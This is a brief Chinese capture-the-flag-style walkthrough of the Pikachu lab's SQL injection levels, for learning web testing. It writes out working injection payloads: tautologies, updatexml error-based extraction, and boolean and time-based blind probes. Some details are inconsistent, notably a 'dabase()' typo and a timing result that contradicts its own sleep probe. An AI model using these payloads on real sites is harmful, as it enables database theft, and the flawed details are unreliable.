如图所示,sql注入
一、数字型注入
既然是post那我们拿burp抓一下包
id=2,我们改一下sql最常用的语句2 or 1=1发现注入成功
二、字符型注入
直接上语句1‘ or 1=1 #
出来了,下一个受害者
三、搜索型注入
发现他会匹配出现的所有username
又是正常的注入语句,并没有waf,依旧可以注入出来
四、xx型注入
这次直接上发现错误,说明这次有了一定的防御
结果发现他只是换了一种闭合方式,还是没有waf进行防御
五、insert/update注入
注册了用户名为zerben密码为123的账号
进入后发现
发现不是很行,insert注入肯定是在注册时候进行的,再次尝试,发现其注册并无过滤,直接奥里给,z' or updatexml(1,concat(0x7e,database()),0) or'
注出其数据库为pikachu
update注入在登陆后点击修改个人信息,无论修改哪个都一样,均无过滤
payload相同,也是直接注出其数据库
六、delete注入
既然是delete注入那就肯定在删除那里。先随便留言一下
删除后发现无提示直接删除,开启burp抓包
在url上改GET /pikachu/vul/sqli/sqli_del.php?id=57+or+updatexml(1,concat(0x7e,dabase()),0)
的确找到了pikachu的数据库但有些小问题,但语句是正确的。
六、http header 注入
根据提示进入后台
用burp抓包,根据名字测试http头注入,发现有注入点
用之前的爆数据库的payload,发现
发现爆出成功
八、盲注boolian
发现只能存在kobe' and 1=1 #连or 都会报错
于是利用and来构造payload
kobe' and ascii(substr(database(),1,1))=112 #
来一个个进行测试,爆出database
不对的话就会出现用户名不存在,正确的话就会出现用户正确信息,可采用二分法来减少盲注次数
九、盲注time
根据上题经验
发现其存在时间盲注,只要kobe存在就会执行后面的响应五秒延迟
根据这个在加上测试
payload: kobe' and if((substr(database(),1,1))='p',sleep(4),null) #
此时412ms就返回结果,说明数据库名第一位是p
将p改为a,则1ms返回结果
说明数据库名第一位是p